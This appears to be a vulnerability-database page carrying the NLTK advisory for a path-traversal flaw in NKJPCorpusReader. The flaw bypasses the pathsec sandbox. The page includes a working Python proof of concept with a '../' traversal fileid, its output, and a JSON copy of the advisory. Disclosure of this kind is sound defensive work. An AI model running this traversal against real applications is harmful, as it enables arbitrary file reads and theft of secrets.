BREW-SAFETY-CVE-2026-12072 (GHSA-6HM5-JGCP-P838)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:33 – Updated: 2026-10-29 21:42 – Source websiteSummary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
### Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check:python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin
open()):python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen():python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
### PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.py
poc.py:
```python
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.version)
# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")
# The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled fileids; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real
print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ```
Output (unmodified):
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEF
With ENFORCE = True, NLTK opened a file outside the corpus root via the
builtin open() (no PermissionError, no warning) and returned its content.
### Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into NKJPCorpusReader's
fileids (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the ENFORCE=True sandbox.
Honest scoping: header() discloses the content of out-of-root files named
header.xml containing NKJP header XML. raw()/words()/sents() also open
and read an arbitrary out-of-root file (proven by intercepting open()), but a
separate pre-existing bug in XML_Tool (writing str to a binary
NamedTemporaryFile) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43,
ipipan.py:191, pl196x.py:110 and is worth fixing as a class.
| URL | Type | |
|---|---|---|
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.4",
"upstream_fixed_in": "3.10.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "safety",
"purl": "pkg:brew/safety"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.1"
},
{
"fixed": "3.8.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.4",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.4"
}
]
},
"details": "### Summary\n A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n influence the `fileids` argument of its public read methods (`header`, `raw`,\n `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n reader builds the file path with no containment check and opens it with the\n builtin `open()`, so it bypasses NLTK\u0027s `nltk.pathsec` sandbox \u2014 including the\n strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n deployments. `header()` returns the parsed content of the out-of-root file to\n the caller (arbitrary file read).\n\n ### Details\n `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n access \u2026 will raise `PermissionError`.\" That guarantee is enforced via\n `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n `nltk.pathsec.validate_path(...)`.\n\n `NKJPCorpusReader` never uses that protected path. In\n `nltk/corpus/reader/nkjp.py`:\n\n - `add_root()` builds the path by **plain string concatenation** with no\n normalization or containment check:\n ```python\n def add_root(self, fileid): # lines 96-102\n if self.root in fileid:\n return fileid # attacker-controlled value returned unchanged\n return self.root + fileid # plain concat, \u0027..\u0027 not stripped\n ```\n - The header view appends a fixed basename and passes the string straight into\n the corpus view (which opens it with the builtin `open()`):\n ```python\n class NKJPCorpus_Header_View(XMLCorpusView): # line 181\n def __init__(self, filename, **kwargs):\n XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec) # line 189\n ```\n - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n builtin `open()`:\n ```python\n class XML_Tool: # line 243\n def __init__(self, root, filename):\n self.read_file = os.path.join(root, filename) # line 251\n def build_preprocessed_file(self):\n fr = open(self.read_file) # line 256 \u2014 pathsec never consulted\n ```\n\n Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n before opening \u2014 `NKJPCorpusReader` simply does not go through it.\n\n ### PoC\n Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n ```\n pip install \"nltk==3.9.4\"\n python3 poc.py\n ```\n\n `poc.py`:\n ```python\n import builtins, os, shutil, tempfile, warnings\n warnings.simplefilter(\"ignore\")\n import nltk, nltk.pathsec as pathsec\n from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n print(\"nltk\", nltk.__version__)\n\n # A legitimate, empty NKJP corpus root (what a real app has).\n root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n # The attacker\u0027s target: a file OUTSIDE the corpus root.\n secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n pathsec.ENFORCE = True\n print(\"ENFORCE =\", pathsec.ENFORCE)\n\n # Prove the out-of-root read and that pathsec is never consulted.\n opened = []; real = builtins.open\n builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n # Attacker-controlled `fileids`; \u0027..\u0027 escapes the corpus root:\n evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n try:\n result = reader.header(fileids=[evil])\n finally:\n builtins.open = real\n\n print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n print(\"disclosed content :\", result[0][\"title\"])\n shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n ```\n\n Output (unmodified):\n ```\n nltk 3.9.4\n ENFORCE = True\n opened outside root: [\u0027/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml\u0027]\n disclosed content : SECRET-API-KEY=sk-live-DEADBEEF\n ```\n With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n ### Impact\n This is a path traversal (CWE-22) leading to arbitrary file read. Any\n application that passes attacker-influenced values into `NKJPCorpusReader`\u0027s\n `fileids` (e.g. letting a user choose which corpus document to read) is\n affected; the attacker can escape the corpus root and read files elsewhere on\n the host, defeating the `ENFORCE=True` sandbox.\n\n Honest scoping: `header()` discloses the content of out-of-root files named\n `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n `NamedTemporaryFile`) suppresses their return value on current Python, so for\n those modes the impact is arbitrary file open/read. The attacker chooses the\n directory freely; a fixed basename is appended per mode. The same\n \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.",
"id": "BREW-safety-CVE-2026-12072",
"modified": "2026-10-29T21:42:01Z",
"published": "2026-08-13T17:33:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)",
"upstream": [
"GHSA-6hm5-jgcp-p838",
"CVE-2026-12072",
"PYSEC-2026-3581"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.